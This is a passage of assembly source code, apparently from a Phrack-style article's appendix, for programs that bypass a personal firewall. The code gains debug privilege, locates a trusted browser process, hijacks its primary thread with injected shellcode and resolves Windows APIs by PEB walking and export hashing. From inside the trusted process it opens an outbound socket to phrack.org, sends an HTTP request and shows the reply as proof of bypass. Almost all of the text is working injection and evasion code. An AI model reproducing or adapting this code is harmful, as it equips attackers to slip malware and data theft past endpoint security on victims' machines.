INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
|
|
|
|
; If the return value equals 0, an error has occured and we
|
|
; will display a failure MessageBox()
|
|
|
|
CMP dwReturn, 0
|
|
JNE ERR_CLEAN_TH
|
|
|
|
INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
|
|
|
|
ERR_CLEAN_TH:
|
|
INVOKE CloseHandle,thRemoteThreadHandle
|
|
ERR_CLEAN_VF:
|
|
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
|
|
ERR_CLEAN:
|
|
INVOKE TerminateProcess, EBX, 0
|
|
INVOKE CloseHandle,pinf.hThread
|
|
INVOKE CloseHandle,pinf.hProcess
|
|
ERR_SUCC:
|
|
RET
|
|
|
|
bypass ENDP
|
|
|
|
|
|
|
|
inject PROC NEAR STDCALL, iBase:DWORD
|
|
|
|
LOCAL k32base :DWORD
|
|
LOCAL expbase :DWORD
|
|
LOCAL forwards :DWORD
|
|
|
|
LOCAL pGetProcAddress :DWORD
|
|
LOCAL pGetModuleHandle :DWORD
|
|
LOCAL pLoadLibrary :DWORD
|
|
LOCAL pFreeLibrary :DWORD
|
|
|
|
LOCAL pMessageBox :DWORD
|
|
LOCAL u32base :DWORD
|
|
LOCAL ws32base :DWORD
|
|
|
|
LOCAL pWSAStartup :DWORD
|
|
LOCAL pWSACleanup :DWORD
|
|
|
|
LOCAL pSocket :DWORD
|
|
LOCAL pConnect :DWORD
|
|
LOCAL pSend :DWORD
|
|
LOCAL pRecv :DWORD
|
|
LOCAL pClose :DWORD
|
|
|
|
JMP IG
|
|
|
|
|
|
sGetModuleHandle DB "GetModuleHandleA" ,0
|
|
sLoadLibrary DB "LoadLibraryA" ,0
|
|
sFreeLibrary DB "FreeLibrary" ,0
|
|
|
|
sUser32 DB "USER32.DLL" ,0
|
|
sMessageBox DB "MessageBoxA" ,0
|
|
|
|
sGLA DB "GetLastError" ,0
|
|
sWLA DB "WSAGetLastError" ,0
|
|
|
|
sWS2_32 DB "ws2_32.dll" ,0
|
|
sWSAStartup DB "WSAStartup" ,0
|
|
sWSACleanup DB "WSACleanup" ,0
|
|
sSocket DB "socket" ,0
|
|
sConnect DB "connect" ,0
|
|
sSend DB "send" ,0
|
|
sRecv DB "recv" ,0
|
|
sClose DB "closesocket" ,0
|
|
|
|
wsa LABEL BYTE
|
|
wVersion DW 0
|
|
wHighVersion DW 0
|
|
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
|
|
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
|
|
iMaxSockets DW 0
|
|
iMaxUdpDg DW 0
|
|
lpVendorInfo DD 0
|
|
|
|
sAddr LABEL BYTE
|
|
sin_family DW AF_INET
|
|
sin_port DW 05000H
|
|
sin_addr DD 006EE3745H
|
|
sin_zero DQ 0
|
|
|
|
|
|
|
|
sStartC DB "SetUp Complete",0
|
|
sStart DB "Injector SetUp complete. ", \
|
|
"Sending request:",13,10,13,10
|
|
|
|
sRequ DB "GET / HTTP/1.0",13,10, \
|
|
"Host: www.phrack.org",\
|
|
13,10,13,10,0
|
|
|
|
sCap DB "Injection successful",0
|
|
sRepl DB 601 DUP(0)
|
|
|
|
|
|
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
|
|
|
|
MOV EAX, FS:[030H] ; Get the Process Environment Block
|
|
TEST EAX, EAX ; Check for Win9X
|
|
JS W9X
|
|
|
|
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
|
|
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
|
|
LODSD ; Load the address of bLink into eax
|
|
MOV EAX, [EAX+008H] ; Copy the module base from the list
|
|
JMP K32 ; Work done
|
|
|
|
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
|
|
LEA EAX, [EAX+07CH] ; ...
|
|
MOV EAX, [EAX+03CH] ; ...
|
|
K32: MOV k32base,EAX ; Keep a copy of the base address
|
|
MOV pGetProcAddress, 0 ; now search for GetProcAddress
|
|
MOV forwards,0 ; Set the forwards to 0 initially
|
|
|
|
MOV pWSACleanup, 0 ; we will need these for error -
|
|
MOV ws32base, 0 ; checks lateron
|
|
|
|
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
|
|
MOV EAX,[EAX+078H] ; RVA of exports directory
|
|
ADD EAX,k32base ; since RVA: add the base address
|
|
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
|
|
|
|
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
|
|
ADD EAX,k32base ; add the base address
|
|
|
|
MOV ECX,[EAX] ; ECX: RVA of the first string
|
|
ADD ECX,k32base ; add the base address
|
|
|
|
MOV EAX,0 ; EAX will serve as a counter
|
|
JMP M2 ; start looping
|
|
|
|
M1: INC EAX ; Increase EAX every loop
|
|
M2: MOV EBX, 0 ; EBX will be the calculated hash
|
|
|
|
HASH: MOV EDX, EBX
|
|
SHL EBX, 05H
|
|
SHR EDX, 01BH
|
|
OR EBX, EDX
|
|
MOV EDX, 0
|
|
MOV DL, [ECX] ; Copy current character to DL
|
|
ADD EBX, EDX ; and add DL to the hash value
|
|
INC ECX ; increase the string pointer
|
|
MOV DL, [ECX] ; next character in DL, now:
|
|
CMP EDX, 0 ; check for null character
|
|
JNE HASH
|
|
|
|
|
|
; This is where we take care of the forwarders.
|
|
; we will always subtract the number of forwarders
|
|
; that already occured from our iterator (EAX) to
|
|
; retrieve the appropriate offset from the second
|
|
; array.
|
|
|
|
PUSH EAX ; Safe EAX to the stack
|
|
SUB EAX,forwards ; Subtract forwards
|
|
IMUL EAX,4 ; addresses are DWORD's
|
|
INC ECX ; Move the ECX pointer to the
|
|
; beginning of the next name
|
|
|
|
MOV EDX, expbase ; Load exports directory
|
|
MOV EDX, [EDX+01CH] ; EDX: array of entry points
|
|
ADD EDX, k32base ; add the base address
|
|
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
|
|
ADD EDX, k32base ; add the base address
|
|
MOV pGetProcAddress, EDX ; This will be correct once
|
|
; the loop is finished.
|
|
|
|
; Second stage of our forwarder check: If the
|
|
; "entry point" of this function points to the
|
|
; next string in array #1, we just found a forwarder.
|
|
|
|
CMP EDX, ECX ; forwarder check
|
|
JNE FWD ; ignore normal entry points
|
|
INC forwards ; This was a forwarder
|
|
|
|
FWD: POP EAX ; Restore EAX iterator
|
|
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
|
|
JNE M1
|
|
|
|
; We have everything we wanted. I use a simple macro
|
|
; to load the functions by applying pGetProcAddress.
|
|
|
|
LPROC k32base, sGetModuleHandle, pGetModuleHandle
|
|
LPROC k32base, sLoadLibrary, pLoadLibrary
|
|
LPROC k32base, sFreeLibrary, pFreeLibrary
|
|
|
|
|
|
PSHS sUser32 ; we need user32.dll
|
|
CALL pGetModuleHandle ; assume it is already loaded
|
|
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
|
|
MOV u32base,EAX ; got it
|
|
|
|
PSHS sWS2_32 ; most important: winsock DLL
|
|
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
|
|
EJUMP INJECT_ERROR
|
|
MOV ws32base, EAX
|
|
|
|
|
|
LPROC u32base,sMessageBox,pMessageBox
|
|
LPROC ws32base,sWSAStartup,pWSAStartup
|
|
LPROC ws32base,sWSACleanup,pWSACleanup
|
|
LPROC ws32base,sSocket,pSocket
|
|
LPROC ws32base,sConnect,pConnect
|
|
LPROC ws32base,sSend,pSend
|
|
LPROC ws32base,sRecv,pRecv
|
|
LPROC ws32base,sClose,pClose
|
|
|
|
PSHS wsa ; see our artificial data segment
|
|
PUSH 2 ; Version 2 is fine
|
|
CALL pWSAStartup ; Do the WSAStartup()
|
|
CMP EAX, 0
|
|
JNE INJECT_ERROR
|
|
|
|
PUSH 0
|
|
PUSH SOCK_STREAM ; A normal stream oriented socket
|
|
PUSH AF_INET ; for Internet connections.
|
|
CALL pSocket ; Create it.
|
|
CMP EAX, INVALID_SOCKET
|
|
JE INJECT_ERROR
|
|
MOV EBX,EAX
|
|
|
|
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
|
|
PSHS sAddr ; hardcoded structure
|
|
PUSH EBX ; that's our socket descriptor
|
|
CALL pConnect ; connect() to phrack.org
|
|
CMP EAX, SOCKET_ERROR
|
|
JE INJECT_ERROR
|
|
|
|
PUSH 0 ; no flags
|
|
PUSH 028H ; 40 bytes to send
|
|
PSHS sRequ ; the GET string
|
|
PUSH EBX ; socket descriptor
|
|
CALL pSend ; send() HTTP request
|
|
CMP EAX, SOCKET_ERROR
|
|
JE INJECT_ERROR
|
|
|
|
|
|
; We now have to receive the server's reply. We only
|
|
; want the HTTP header to display it in a message box
|
|
; as an indicator for a successful bypass.
|
|
|
|
|
|
MOV ECX, 0 ; number of bytes received
|
|
|
|
PP: MOV EDX, iBase
|
|
ADD EDX, OFFSET sRepl-inject
|
|
|
|
ADD EDX, ECX ; EDX is the current position inside
|
|
; the string buffer
|
|
PUSH EDX
|
|
PUSH ECX
|
|
|
|
PUSH 0 ; no flags
|
|
PUSH 1 ; one byte to receive
|
|
PUSH EDX ; string buffer
|
|
PUSH EBX ; socket descriptor
|
|
CALL pRecv ; recv() the byte
|
|
|
|
POP ECX
|
|
POP EDX
|
|
|
|
CMP AL, 1 ; one byte received ?
|
|
JNE PPE ; an error occured
|
|
CMP ECX,2 ; check if we already received
|
|
JS PP2 ; more than 2 bytes
|
|
|
|
MOV AL, [EDX] ; this is the byte we got
|
|
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
|
|
JNE PP2
|
|
CMP AL, 10 ; we found it, most probably.
|
|
JE PPE ; we only want the headers.
|
|
|
|
PP2: INC ECX
|
|
CMP ECX,600 ; 600 byte maximum buffer size
|
|
JNE PP
|
|
|
|
|
|
PPE: PUSH EBX ; socket descriptor
|
|
CALL pClose ; close the socket
|
|
|
|
PUSH 64 ; neat info icon and an ok button
|
|
PSHS sCap ; the caption string
|
|
PSHS sRepl ; www.phrack.org's HTTP header
|
|
PUSH 0
|
|
CALL pMessageBox ; display the message box.
|
|
|
|
JMP INJECT_SUCCESS ; we were successful.
|
|
|
|
INJECT_SUCCESS:
|
|
MOV EAX, 1 ; return values are passed in EAX
|
|
JMP INJECT_CLEANUP
|
|
|
|
INJECT_ERROR:
|
|
MOV EAX, 0 ; boolean return value (success)
|
|
|
|
INJECT_CLEANUP:
|
|
PUSH EAX ; save our return value
|
|
CMP pWSACleanup,0
|
|
JE INJECT_DONE
|
|
CALL pWSACleanup ; perform cleanup
|
|
CMP ws32base, 0 ; check if we have loaded ws2_32
|
|
JE INJECT_DONE
|
|
PUSH ws32base
|
|
CALL pFreeLibrary ; release ws2_32.dll
|
|
|
|
INJECT_DONE:
|
|
POP EAX ; retore the return value
|
|
RET ; and return
|
|
|
|
inject ENDP
|
|
|
|
inject_end: END Main
|
|
|
|
|
|
|
|
|
|
-[0x0C] :: tiny.exe source code ------------------------------------------
|
|
|
|
This is the ASM source code for the second bypass program.
|
|
|
|
.386
|
|
.MODEL flat, stdcall
|
|
|
|
INCLUDE windows.inc
|
|
INCLUDE kernel32.inc
|
|
INCLUDE advapi32.inc
|
|
|
|
bypass PROTO ; Tiny Firewall Bypass
|
|
inject PROTO, iBase:DWORD ; injected function
|
|
getsvc PROTO, pProcessInfo:DWORD ; finds running, trusted process
|
|
getdbg PROTO ; enables the SE_DEBUG privilege
|
|
|
|
|
|
; The PSHS macro is used to push the address of some
|
|
; structure onto the stack inside the remote process'
|
|
; address space. iBase contains the address where the
|
|
; injected code starts.
|
|
|
|
PSHS MACRO BUFFER
|
|
MOV EDX, iBase
|
|
ADD EDX, OFFSET BUFFER - inject
|
|
PUSH EDX
|
|
ENDM
|
|
|
|
; The LPROC macro assumes that pGetProcAddress holds
|
|
; the address of the GetProcAddress() API call and
|
|
; simulates its behaviour. PROCNAME is a string inside
|
|
; the injected code that holds the function name and
|
|
; PROCADDR is a DWORD variable inside the injected
|
|
; code that will retrieve the address of that function.
|
|
; BASEDLL, as the name suggests, should hold the
|
|
; base address of the appropriate DLL.
|
|
|
|
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
|
|
PSHS PROCNAME
|
|
PUSH BASEDLL
|
|
CALL pGetProcAddress
|
|
EJUMP INJECT_ERROR
|
|
MOV PROCADDR, EAX
|
|
ENDM
|
|
|
|
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
|
|
CMP EAX, 0
|
|
JE TARGET_CODE
|
|
ENDM
|
|
|
|
|
|
.DATA
|
|
; This is the name of a trusted process to search for.
|
|
; If you know what you are doing, you can play with
|
|
; if and see whether other applications work with the
|
|
; current code (aka hijack primary thread).
|
|
; "OUTLOOK.EXE" works as well btw.
|
|
|
|
TRUSTED DB "IEXPLORE.EXE",0
|
|
|
|
|
|
SE_DEBUG DB "SeDebugPrivilege",0 ; debug privilege
|
|
IEV_NAME DB "TINY0",0 ; our event name
|
|
IEV_HANDLE DD ? ; event handle
|
|
FUNCSZE EQU iend-istart ; inject's size
|
|
CODESZE EQU 19 ; size of our "shellcode"
|
|
ALLSZE EQU FUNCSZE + CODESZE ; complete size
|
|
FUNCADDR EQU istart ; offset of inject
|
|
|
|
; JUMPDIFF is the number of bytes from the beginning of
|
|
; the shellcode to the jump instruction. It is required
|
|
; to calculate the value of JUMP_ADDR, see below.
|
|
|
|
JUMPDIFF EQU 14
|
|
|
|
|
|
; This "shellcode" will be injected to the trusted
|
|
; process directly in fron of the injector procedure
|
|
; itself. It will simply call the injector function
|
|
; with its base address as the first argument and
|
|
; jump back to the address where we hijacked the
|
|
; thread afterwards. The addresses of our injected
|
|
; function (PUSH_ADDR) and the original EIP of the
|
|
; hijacked thread (JUMP_ADDR) will be calculated
|
|
; at runtime, of course.
|
|
|
|
SHELLCODE LABEL BYTE
|
|
|
|
PUSHAD_CODE DB 060H ; PUSHAD
|
|
PUSHFD_CODE DB 09CH ; PUSHFD
|
|
PUSH_CODE DB 068H ; PUSH <function address>
|
|
PUSH_ADDR DD ?
|
|
CALL_CODE DB 0E8H ; CALL <function address>
|
|
CALL_ADDR DD 07H
|
|
POPFD_CODE DB 09DH ; POPFD
|
|
POPAD_CODE DB 061H ; POPAD
|
|
JUMP_CODE DB 0E9H ; JUMP <original EIP>
|
|
JUMP_ADDR DD ?
|
|
; <injector function>
|
|
; ...
|
|
|
|
.CODE
|
|
|
|
|
|
Main: ; not much to do except calling
|
|
; the bypass function in this sample.
|
|
|
|
INVOKE bypass
|
|
INVOKE ExitProcess, 0
|
|
|
|
|
|
getdbg PROC ; enables the SE_DEBUG privilege for ourself
|
|
LOCAL token:HANDLE
|
|
LOCAL priv:TOKEN_PRIVILEGES
|
|
LOCAL luid:LUID
|
|
INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
|
|
EJUMP DBE0
|
|
MOV priv.PrivilegeCount, 01H
|
|
MOV priv.Privileges.Attributes, 02H
|
|
MOV EAX,luid.LowPart
|
|
MOV priv.Privileges.Luid.LowPart,EAX
|
|
MOV EAX,luid.HighPart
|
|
MOV priv.Privileges.Luid.HighPart,EAX
|
|
INVOKE GetCurrentProcess
|
|
MOV ECX,EAX
|
|
INVOKE OpenProcessToken,ECX,020H, ADDR token
|
|
MOV ECX, token
|
|
CMP ECX, 0
|
|
JE DBE0
|
|
INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
|
|
MOV ECX,EAX
|
|
INVOKE CloseHandle, token
|
|
MOV EAX,ECX
|
|
DBE0: RET
|
|
getdbg ENDP
|
|
|
|
|
|
|
|
getsvc PROC, pProcessInfo:DWORD
|
|
|
|
; This function fills a PROCESS_INFORMATION
|
|
; structure with the ID and handle of the
|
|
; required trusted process and its primary
|
|
; thread. The tool helper API is used to
|
|
; retrieve this information.
|
|
|
|
LOCAL p32:PROCESSENTRY32
|
|
LOCAL t32:THREADENTRY32
|
|
|
|
LOCAL hShot:DWORD
|
|
|
|
MOV p32.dwSize, SIZEOF PROCESSENTRY32
|
|
MOV t32.dwSize, SIZEOF THREADENTRY32
|
|
|
|
INVOKE getdbg ; we need SE_DEBUG first
|
|
|
|
; Create a snapshot of all processes and
|
|
; threads. 06H is the appropriate bitmask
|
|
; for this purpose, look it up if you
|
|
; dont trust me.
|
|
|
|
INVOKE CreateToolhelp32Snapshot,06H,0
|
|
MOV hShot,EAX
|
|
|
|
; Start to search for the trusted process.
|
|
; We will compare the name of the process'
|
|
; primary module with the string buffer
|
|
; TRUSTED until we find a match.
|
|
|
|
INVOKE Process32First, hShot, ADDR p32
|
|
CMP EAX, 0
|
|
JE GSE1
|
|
|
|
GSL: LEA EDX, p32.szExeFile
|
|
INVOKE lstrcmpi, EDX, OFFSET TRUSTED
|
|
|
|
CMP EAX, 0 ; lstrcmpi is not case sensitive!
|
|
JE GSL1 ; good, we found the process
|
|
|
|
INVOKE Process32Next, hShot, ADDR p32
|
|
|
|
CMP EAX, 0 ; no more processes,
|
|
JE GSE1 ; no success
|
|
JMP GSL ; otherwise, continue loop
|
|
|
|
; We have found an instance of the trusted
|
|
; process, continue to retrieve information
|
|
; about its primary thread and gain an open
|
|
; handle to both the process itself and the
|
|
; thread. To find the thread, we have to
|
|
; loop through all thread entries in our
|
|
; snapshot until we discover a thread that
|
|
; has been created by the process we found.
|
|
|
|
GSL1: INVOKE Thread32First, hShot, ADDR t32
|
|
MOV EBX, 0
|
|
|
|
TSL: MOV EDX, t32.th32OwnerProcessID
|
|
CMP EDX, p32.th32ProcessID
|
|
JE TSL0
|
|
INVOKE Thread32Next, hShot, ADDR t32
|
|
CMP EAX, 0 ; no more threads (weird),
|
|
JE GSE1 ; no success
|
|
JMP TSL ; otherwise, continue loop
|
|
|
|
; Now, since we have got the ID's of both
|
|
; the process itself and the primary thread,
|
|
; use OpenProcess() and OpenThread() to
|
|
; get a handle to both of them. You are right,
|
|
; OpenThread is NOT a documented call, but
|
|
; it looks like that was rather an accident.
|
|
; It is exported by kernel32.dll just like
|
|
; OpenProcess().
|
|
|
|
TSL0: MOV EDX, pProcessInfo ; the structure address
|
|
|
|
MOV EAX,p32.th32ProcessID ; copy the process ID
|
|
MOV [EDX+08H], EAX
|
|
|
|
MOV EAX, t32.th32ThreadID ; copy the thread ID
|
|
MOV [EDX+0CH], EAX
|
|
|
|
PUSH EDX ; safe the address
|
|
|
|
|
|
INVOKE OpenProcess, PROCESS_ALL_ACCESS, \
|
|
0, p32.th32ProcessID
|
|
|
|
CMP EAX, 0
|
|
JE GSE1
|
|
MOV EBX, EAX
|
|
|
|
INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \
|
|
t32.th32ThreadID
|
|
|
|
CMP EAX, 0
|
|
JE GSE1
|
|
|
|
POP EDX ; restore the address
|
|
MOV [EDX], EBX ; copy the process handle
|
|
MOV [EDX+04H], EAX ; copy the thread handle
|
|
|
|
PUSH 1 ; success
|
|
JMP GSE0
|
|
|
|
GSE1: PUSH 0 ; failure
|
|
|
|
GSE0: CMP hShot, 0
|
|
JE GSE
|
|
INVOKE CloseHandle, hShot ; cleanup
|
|
|
|
GSE: POP EAX ; pop the return value to EAX
|
|
RET ; that's it.
|
|
|
|
getsvc ENDP
|
|
|
|
|
|
|
|
istart:
|
|
|
|
inject PROC, iBase:DWORD
|
|
|
|
|
|
LOCAL k32base :DWORD
|
|
LOCAL expbase :DWORD
|
|
LOCAL forwards :DWORD
|
|
|
|
LOCAL pGetProcAddress :DWORD
|
|
LOCAL pGetModuleHandle :DWORD
|
|
LOCAL pLoadLibrary :DWORD
|
|
LOCAL pFreeLibrary :DWORD
|
|
|
|
LOCAL pOpenEvent :DWORD
|
|
LOCAL pCloseHandle :DWORD
|
|
LOCAL pSetEvent :DWORD
|
|
|
|
LOCAL pMessageBox :DWORD
|
|
LOCAL u32base :DWORD
|
|
LOCAL ws32base :DWORD
|
|
|
|
LOCAL pWSAStartup :DWORD
|
|
LOCAL pWSACleanup :DWORD
|
|
|
|
LOCAL pSocket :DWORD
|
|
LOCAL pConnect :DWORD
|
|
LOCAL pSend :DWORD
|
|
LOCAL pRecv :DWORD
|
|
LOCAL pClose :DWORD
|
|
|
|
JMP IG
|
|
|
|
|
|
sGetModuleHandle DB "GetModuleHandleA" ,0
|
|
sLoadLibrary DB "LoadLibraryA" ,0
|
|
sFreeLibrary DB "FreeLibrary" ,0
|
|
|
|
sOpenEvent DB "OpenEventA" ,0
|
|
sCloseHandle DB "CloseHandle" ,0
|
|
sSetEvent DB "SetEvent" ,0
|
|
sFWPEVENT DB "TINY0" ,0
|
|
|
|
sUser32 DB "USER32.DLL" ,0
|
|
sMessageBox DB "MessageBoxA" ,0
|
|
|
|
sGLA DB "GetLastError" ,0
|
|
sWLA DB "WSAGetLastError" ,0
|
|
|
|
sWS2_32 DB "ws2_32.dll" ,0
|
|
sWSAStartup DB "WSAStartup" ,0
|
|
sWSACleanup DB "WSACleanup" ,0
|
|
sSocket DB "socket" ,0
|
|
sConnect DB "connect" ,0
|
|
sSend DB "send" ,0
|
|
sRecv DB "recv" ,0
|
|
sClose DB "closesocket" ,0
|
|
|
|
wsa LABEL BYTE
|
|
wVersion DW 0
|
|
wHighVersion DW 0
|
|
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
|
|
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
|
|
iMaxSockets DW 0
|
|
iMaxUdpDg DW 0
|
|
lpVendorInfo DD 0
|
|
|
|
sAddr LABEL BYTE
|
|
sin_family DW AF_INET
|
|
sin_port DW 05000H
|
|
sin_addr DD 006EE3745H
|
|
sin_zero DQ 0
|
|
|
|
|
|
|
|
sStartC DB "SetUp Complete",0
|
|
sStart DB "Injector SetUp complete. ", \
|
|
"Sending request:",13,10,13,10
|
|
|
|
sRequ DB "GET / HTTP/1.0",13,10, \
|
|
"Host: www.phrack.org",\
|
|
13,10,13,10,0
|
|
|
|
sCap DB "Injection successful",0
|
|
sRepl DB 601 DUP(0)
|
|
|
|
|
|
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
|
|
|
|
MOV EAX, FS:[030H] ; Get the Process Environment Block
|
|
TEST EAX, EAX ; Check for Win9X
|
|
JS W9X
|
|
|
|
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
|
|
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
|
|
LODSD ; Load the address of bLink into eax
|
|
MOV EAX, [EAX+008H] ; Copy the module base from the list
|
|
JMP K32 ; Work done
|
|
|
|
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
|
|
LEA EAX, [EAX+07CH] ; ...
|
|
MOV EAX, [EAX+03CH] ; ...
|
|
K32: MOV k32base,EAX ; Keep a copy of the base address
|
|
MOV pGetProcAddress, 0 ; now search for GetProcAddress
|
|
MOV forwards,0 ; Set the forwards to 0 initially
|
|
|
|
MOV pWSACleanup, 0 ; we will need these for error -
|
|
MOV ws32base, 0 ; checks lateron
|
|
MOV pOpenEvent, 0
|
|
|
|
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
|
|
MOV EAX,[EAX+078H] ; RVA of exports directory
|
|
ADD EAX,k32base ; since RVA: add the base address
|
|
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
|
|
|
|
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
|
|
ADD EAX,k32base ; add the base address
|
|
|
|
MOV ECX,[EAX] ; ECX: RVA of the first string
|
|
ADD ECX,k32base ; add the base address
|
|
|
|
MOV EAX,0 ; EAX will serve as a counter
|
|
JMP M2 ; start looping
|
|
|
|
M1: INC EAX ; Increase EAX every loop
|
|
M2: MOV EBX, 0 ; EBX will be the calculated hash
|
|
|
|
HASH: MOV EDX, EBX
|
|
SHL EBX, 05H
|
|
SHR EDX, 01BH
|
|
OR EBX, EDX
|
|
MOV EDX, 0
|
|
MOV DL, [ECX] ; Copy current character to DL
|
|
ADD EBX, EDX ; and add DL to the hash value
|
|
INC ECX ; increase the string pointer
|
|
MOV DL, [ECX] ; next character in DL, now:
|
|
CMP EDX, 0 ; check for null character
|
|
JNE HASH
|
|
|
|
|
|
; This is where we take care of the forwarders.
|
|
; we will always subtract the number of forwarders
|
|
; that already occured from our iterator (EAX) to
|
|
; retrieve the appropriate offset from the second
|
|
; array.
|
|
|
|
PUSH EAX ; Safe EAX to the stack
|
|
SUB EAX,forwards ; Subtract forwards
|
|
IMUL EAX,4 ; addresses are DWORD's
|
|
INC ECX ; Move the ECX pointer to the
|
|
; beginning of the next name
|
|
|
|
MOV EDX, expbase ; Load exports directory
|
|
MOV EDX, [EDX+01CH] ; EDX: array of entry points
|
|
ADD EDX, k32base ; add the base address
|
|
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
|
|
ADD EDX, k32base ; add the base address
|
|
MOV pGetProcAddress, EDX ; This will be correct once
|
|
; the loop is finished.
|
|
|
|
; Second stage of our forwarder check: If the
|
|
; "entry point" of this function points to the
|
|
; next string in array #1, we just found a forwarder.
|
|
|
|
CMP EDX, ECX ; forwarder check
|
|
JNE FWD ; ignore normal entry points
|
|
INC forwards ; This was a forwarder
|
|
|
|
FWD: POP EAX ; Restore EAX iterator
|
|
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
|
|
JNE M1
|
|
|
|
; We have everything we wanted. I use a simple macro
|
|
; to load the functions by applying pGetProcAddress.
|
|
|
|
LPROC k32base, sGetModuleHandle, pGetModuleHandle
|
|
LPROC k32base, sLoadLibrary, pLoadLibrary
|
|
LPROC k32base, sFreeLibrary, pFreeLibrary
|
|
|
|
LPROC k32base, sOpenEvent, pOpenEvent
|
|
LPROC k32base, sCloseHandle, pCloseHandle
|
|
LPROC k32base, sSetEvent, pSetEvent
|
|
|
|
|
|
PSHS sUser32 ; we need user32.dll
|
|
CALL pGetModuleHandle ; assume it is already loaded
|
|
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
|
|
MOV u32base,EAX ; got it
|
|
|
|
PSHS sWS2_32 ; most important: winsock DLL
|
|
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
|
|
EJUMP INJECT_ERROR
|
|
MOV ws32base, EAX
|
|
|
|
|
|
LPROC u32base,sMessageBox,pMessageBox
|
|
LPROC ws32base,sWSAStartup,pWSAStartup
|
|
LPROC ws32base,sWSACleanup,pWSACleanup
|
|
LPROC ws32base,sSocket,pSocket
|
|
LPROC ws32base,sConnect,pConnect
|
|
LPROC ws32base,sSend,pSend
|
|
LPROC ws32base,sRecv,pRecv
|
|
LPROC ws32base,sClose,pClose
|
|
|
|
PSHS wsa ; see our artificial data segment
|
|
PUSH 2 ; Version 2 is fine
|
|
CALL pWSAStartup ; Do the WSAStartup()
|
|
CMP EAX, 0
|
|
JNE INJECT_ERROR
|
|
|
|
PUSH 0
|
|
PUSH SOCK_STREAM ; A normal stream oriented socket
|
|
PUSH AF_INET ; for Internet connections.
|
|
CALL pSocket ; Create it.
|
|
CMP EAX, INVALID_SOCKET
|
|
JE INJECT_ERROR
|
|
MOV EBX,EAX
|
|
|
|
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
|
|
PSHS sAddr ; hardcoded structure
|
|
PUSH EBX ; that's our socket descriptor
|
|
CALL pConnect ; connect() to phrack.org
|
|
CMP EAX, SOCKET_ERROR
|
|
JE INJECT_ERROR
|
|
|
|
PUSH 0 ; no flags
|
|
PUSH 028H ; 40 bytes to send
|
|
PSHS sRequ ; the GET string
|
|
PUSH EBX ; socket descriptor
|
|
CALL pSend ; send() HTTP request
|
|
CMP EAX, SOCKET_ERROR
|
|
JE INJECT_ERROR
|
|
|
|
|
|
; We now have to receive the server's reply. We only
|
|
; want the HTTP header to display it in a message box
|
|
; as an indicator for a successful bypass.
|
|
|
|
|
|
MOV ECX, 0 ; number of bytes received
|
|
|
|
PP: MOV EDX, iBase
|
|
ADD EDX, OFFSET sRepl-inject
|
|
|
|
ADD EDX, ECX ; EDX is the current position inside
|
|
; the string buffer
|
|
PUSH EDX
|
|
PUSH ECX
|
|
|
|
PUSH 0 ; no flags
|
|
PUSH 1 ; one byte to receive
|
|
PUSH EDX ; string buffer
|
|
PUSH EBX ; socket descriptor
|
|
CALL pRecv ; recv() the byte
|
|
|
|
POP ECX
|
|
POP EDX
|
|
|
|
CMP AL, 1 ; one byte received ?
|
|
JNE PPE ; an error occured
|
|
CMP ECX,2 ; check if we already received
|
|
JS PP2 ; more than 2 bytes
|
|
|
|
MOV AL, [EDX] ; this is the byte we got
|
|
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
|
|
JNE PP2
|
|
CMP AL, 10 ; we found it, most probably.
|
|
JE PPE ; we only want the headers.
|
|
|
|
PP2: INC ECX
|
|
CMP ECX,600 ; 600 byte maximum buffer size
|
|
JNE PP
|
|
|
|
|
|
PPE: PUSH EBX ; socket descriptor
|
|
CALL pClose ; close the socket
|
|
|
|
PUSH 64 ; neat info icon and an ok button
|
|
PSHS sCap ; the caption string
|
|
PSHS sRepl ; www.phrack.org's HTTP header
|
|
PUSH 0
|
|
CALL pMessageBox ; display the message box.
|
|
|
|
JMP INJECT_SUCCESS ; we were successful.
|
|
|
|
INJECT_SUCCESS:
|
|
PUSH 1 ; return success
|
|
JMP INJECT_CLEANUP
|
|
|
|
INJECT_ERROR:
|
|
PUSH 0 ; return failure
|
|
|
|
INJECT_CLEANUP:
|
|
|
|
PUSH EAX ; save our return value
|
|
CMP pWSACleanup,0
|
|
JE INJECT_DONE
|
|
CALL pWSACleanup ; perform cleanup
|
|
CMP ws32base, 0 ; check if we have loaded ws2_32
|
|
JE INJECT_DONE
|
|
PUSH ws32base
|
|
